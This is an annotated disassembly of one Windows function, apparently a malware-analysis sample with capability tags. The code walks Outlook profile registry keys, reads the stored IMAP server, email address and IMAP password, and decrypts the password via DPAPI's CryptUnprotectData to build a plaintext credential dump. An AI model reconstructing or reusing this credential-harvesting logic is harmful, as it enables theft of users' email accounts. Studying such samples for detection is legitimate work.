Function at 0x4018e0
Capabilities:
Encrypt data using dpapi
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40a91b
mov eax, dword fs:[0]
push eax
push ecx
mov eax, 0x98e8
call fcn.00407650
push ebx
push esi
push edi
push ecx
lea edi, [ebp - 0x98f8]
mov ecx, 0x263a
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
pop ecx
mov eax, dword [0x411048]
xor eax, ebp
mov dword [ebp - 0x14], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x98a4], 0
push 0x40d9e2
lea ecx, [ebp - 0x3c]
call fcn.004012a3
mov dword [ebp - 4], 1
mov byte [ebp - 4], 2
mov ax, word [0x40d9e0]
mov word [ebp - 0x648], ax
push 0x206
push 0
lea ecx, [ebp - 0x646]
push ecx
call sub.MSVCR100D.dll_memset
add esp, 0xc
mov dword [ebp - 0x654], 0x104
mov dword [ebp - 0x660], 0
mov dword [ebp - 0x86d0], 0x3fff
mov esi, esp
lea edx, [ebp - 0x6b8]
push edx
lea eax, [ebp - 0x6a8]
push eax
lea ecx, [ebp - 0x69c]
push ecx
lea edx, [ebp - 0x690]
push edx
lea eax, [ebp - 0x684]
push eax
lea ecx, [ebp - 0x678]
push ecx
lea edx, [ebp - 0x66c]
push edx
lea eax, [ebp - 0x660]
push eax
push 0
lea ecx, [ebp - 0x654]
push ecx
lea edx, [ebp - 0x648]
push edx
mov eax, dword [ebp + 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyW]
cmp esi, esp
call fcn.00407440
mov dword [ebp - 0x6c4], eax
cmp dword [ebp - 0x660], 0
je 0x401fda
mov dword [ebp - 0x6c0], 0
jmp 0x401a19
mov ecx, dword [ebp - 0x6c0]
add ecx, 1
mov dword [ebp - 0x6c0], ecx
mov edx, dword [ebp - 0x6c0]
cmp edx, dword [ebp - 0x660]
jae 0x401fda
mov dword [ebp - 0x438], 0x1f4
mov esi, esp
lea eax, [ebp - 0x6b8]
push eax
push 0
push 0
push 0
lea ecx, [ebp - 0x438]
push ecx
lea edx, [ebp - 0x42c]
push edx
mov eax, dword [ebp - 0x6c0]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
cmp esi, esp
call fcn.00407440
mov dword [ebp - 0x6c4], eax
cmp dword [ebp - 0x6c4], 0
jne 0x401fd5
mov byte [ebp - 4], 3
mov ecx, 0x3e
mov esi, str.SoftwareMicrosoftWindows_NTCurrentVersionWindows_Messaging_SubsystemProfilesOutlook9375CFF0413111d3B88A00104B2A6676_
lea edi, [ebp - 0x8abc]
rep movsd dword es:[edi], dword [esi]
push 0x2f0
push 0
lea edx, [ebp - 0x89c4]
push edx
call sub.MSVCR100D.dll_memset
add esp, 0xc
mov esi, esp
lea eax, [ebp - 0x42c]
push eax
push 0x1f4
lea ecx, [ebp - 0x8abc]
push ecx
call dword [sym.imp.MSVCR100D.dll_wcscat_s]
add esp, 0xc
cmp esi, esp
call fcn.00407440
mov dword [ebp - 0x8ac8], 0
mov dword [ebp - 0x8ad0], 0
mov esi, esp
lea edx, [ebp - 0x8ac8]
push edx
lea eax, [ebp - 0x8abc]
push eax
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
cmp esi, esp
call fcn.00407440
test eax, eax
jne 0x401dfe
mov byte [ebp - 0x8bd4], 0
push 0xfe
push 0
lea ecx, [ebp - 0x8bd3]
push ecx
call sub.MSVCR100D.dll_memset
add esp, 0xc
mov dword [ebp - 0x8bdc], 3
mov dword [ebp - 0x8be4], 0xff
mov esi, esp
lea edx, [ebp - 0x8be4]
push edx
lea eax, [ebp - 0x8bd4]
push eax
push 0
push 0
push str.IMAP_Server
mov ecx, dword [ebp - 0x8ac8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
cmp esi, esp
call fcn.00407440
test eax, eax
jne 0x401c78
mov byte [ebp - 4], 4
lea edx, [ebp - 0x8bd4]
push edx
lea ecx, [ebp - 0x8c0c]
call fcn.00401096
mov dword [ebp - 0x98a8], eax
mov byte [ebp - 4], 5
sub esp, 0xc
mov eax, esp
mov dword [ebp - 0x988c], esp
push eax
lea ecx, [ebp - 0x8c0c]
call fcn.004010f0
mov dword [ebp - 0x98ac], eax
mov ecx, dword [ebp - 0x98ac]
mov dword [ebp - 0x98b0], ecx
mov byte [ebp - 4], 6
sub esp, 0xc
mov edx, esp
mov dword [ebp - 0x9890], esp
push edx
lea ecx, [ebp - 0x8c0c]
call fcn.00401249
mov dword [ebp - 0x98b4], eax
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x8c34]
call fcn.00401190
mov dword [ebp - 0x98b8], eax
mov byte [ebp - 4], 7
lea eax, [ebp - 0x8c34]
push eax
push str._n_n_n_IMAP_Server:
lea ecx, [ebp - 0x8c58]
push ecx
call fcn.0040116d
add esp, 0xc
mov dword [ebp - 0x98bc], eax
mov edx, dword [ebp - 0x98bc]
mov dword [ebp - 0x98c0], edx
mov byte [ebp - 4], 8
mov eax, dword [ebp - 0x98c0]
push eax
lea ecx, [ebp - 0x3c]
call fcn.004010b4
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x8c58]
call fcn.00401230
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x8c34]
call fcn.00401230
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x8c0c]
call fcn.00401122
jmp 0x401c71
mov dword [ebp - 4], 3
mov byte [ebp - 0x8d5c], 0
push 0xfe
push 0
lea ecx, [ebp - 0x8d5b]
push ecx
call sub.MSVCR100D.dll_memset
add esp, 0xc
mov dword [ebp - 0x8d64], 3
mov dword [ebp - 0x8d6c], 0xff
mov esi, esp
lea edx, [ebp - 0x8d6c]
push edx
lea eax, [ebp - 0x8d5c]
push eax
push 0
push 0
push str.Email
mov ecx, dword [ebp - 0x8ac8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
cmp esi, esp
call fcn.00407440
test eax, eax
jne 0x401dfe
mov byte [ebp - 4], 0xa
lea edx, [ebp - 0x8d5c]
push edx
lea ecx, [ebp - 0x8d94]
call fcn.00401096
mov dword [ebp - 0x98c4], eax
mov byte [ebp - 4], 0xb
mov byte [ebp - 4], 0xc
sub esp, 0xc
mov eax, esp
mov dword [ebp - 0x9894], esp
push eax
lea ecx, [ebp - 0x8d94]
call fcn.004010f0
mov dword [ebp - 0x98c8], eax
mov ecx, dword [ebp - 0x98c8]
mov dword [ebp - 0x98cc], ecx
mov byte [ebp - 4], 0xd
sub esp, 0xc
mov edx, esp
mov dword [ebp - 0x9898], esp
push edx
lea ecx, [ebp - 0x8d94]
call fcn.00401249
mov dword [ebp - 0x98d0], eax
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x8dbc]
call fcn.00401190
mov dword [ebp - 0x98d4], eax
mov byte [ebp - 4], 0xe
lea eax, [ebp - 0x8dbc]
push eax
push str._n_email:
lea ecx, [ebp - 0x8de0]
push ecx
call fcn.0040116d
add esp, 0xc
mov dword [ebp - 0x98d8], eax
mov edx, dword [ebp - 0x98d8]
mov dword [ebp - 0x98dc], edx
mov byte [ebp - 4], 0xf
mov eax, dword [ebp - 0x98dc]
push eax
lea ecx, [ebp - 0x3c]
call fcn.004010b4
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0x8de0]
call fcn.00401230
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x8dbc]
call fcn.00401230
jmp 0x401dd2
mov dword [ebp - 4], 0xb
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x8d94]
call fcn.00401122
jmp 0x401df7
mov dword [ebp - 4], 3
mov byte [ebp - 0x97e0], 0
push 0x9f9
push 0
lea ecx, [ebp - 0x97df]
push ecx
call sub.MSVCR100D.dll_memset
add esp, 0xc
mov dword [ebp - 0x97e8], 3
mov dword [ebp - 0x97f0], 0x9fa
mov esi, esp
lea edx, [ebp - 0x97f0]
push edx
lea eax, [ebp - 0x97e0]
push eax
push 0
push 0
push str.IMAP_Password
mov ecx, dword [ebp - 0x8ac8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
cmp esi, esp
call fcn.00407440
mov dword [ebp - 0x97f8], eax
cmp dword [ebp - 0x97f8], 0
jne 0x401fbf
lea edx, [ebp - 0x97df]
mov dword [ebp - 0x9800], edx
mov eax, dword [ebp - 0x97f0]
sub eax, 1
mov dword [ebp - 0x9804], eax
mov esi, esp
lea ecx, [ebp - 0x9814]
push ecx
push 1
push 0
push 0
push 0
push 0
lea edx, [ebp - 0x9804]
push edx
call dword [sym.imp.CRYPT32.dll_CryptUnprotectData]
cmp esi, esp
call fcn.00407440
test eax, eax
je 0x401fbf
mov byte [ebp - 4], 0x12
mov eax, dword [ebp - 0x9810]
push eax
lea ecx, [ebp - 0x983c]
call fcn.00401096
mov dword [ebp - 0x98e0], eax
mov byte [ebp - 4], 0x13
sub esp, 0xc
mov ecx, esp
mov dword [ebp - 0x989c], esp
push ecx
lea ecx, [ebp - 0x983c]
call fcn.004010f0
mov dword [ebp - 0x98e4], eax
mov edx, dword [ebp - 0x98e4]
mov dword [ebp - 0x98e8], edx
mov byte [ebp - 4], 0x14
sub esp, 0xc
mov eax, esp
mov dword [ebp - 0x98a0], esp
push eax
lea ecx, [ebp - 0x983c]
call fcn.00401249
mov dword [ebp - 0x98ec], eax
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x9864]
call fcn.00401190
mov dword [ebp - 0x98f0], eax
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0x9864]
push ecx
push str._n_Password:
lea edx, [ebp - 0x9888]
push edx
call fcn.0040116d
add esp, 0xc
mov dword [ebp - 0x98f4], eax
mov eax, dword [ebp - 0x98f4]
mov dword [ebp - 0x98f8], eax
mov byte [ebp - 4], 0x16
mov ecx, dword [ebp - 0x98f8]
push ecx
lea ecx, [ebp - 0x3c]
call fcn.004010b4
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0x9888]
call fcn.00401230
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x9864]
call fcn.00401230
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0x983c]
call fcn.00401122
jmp 0x401fb8
mov dword [ebp - 4], 3
jmp 0x401fce
mov dword [ebp - 4], 2
jmp 0x401a0a
jmp 0x401fe9
mov dword [ebp - 4], 1
lea ecx, [ebp - 0x3c]
call fcn.00401181
push eax
mov ecx, dword [ebp + 8]
call fcn.004012a3
mov edx, dword [ebp - 0x98a4]
or edx, 1
mov dword [ebp - 0x98a4], edx
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x3c]
call fcn.00401230
mov eax, dword [ebp + 8]
jmp 0x402032
push edx
mov ecx, ebp
push eax
lea edx, [0x402070]
call fcn.00407470
pop eax
pop edx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00407430
add esp, 0x98f8
cmp ebp, esp
call fcn.00407440
mov esp, ebp
pop ebp
ret 8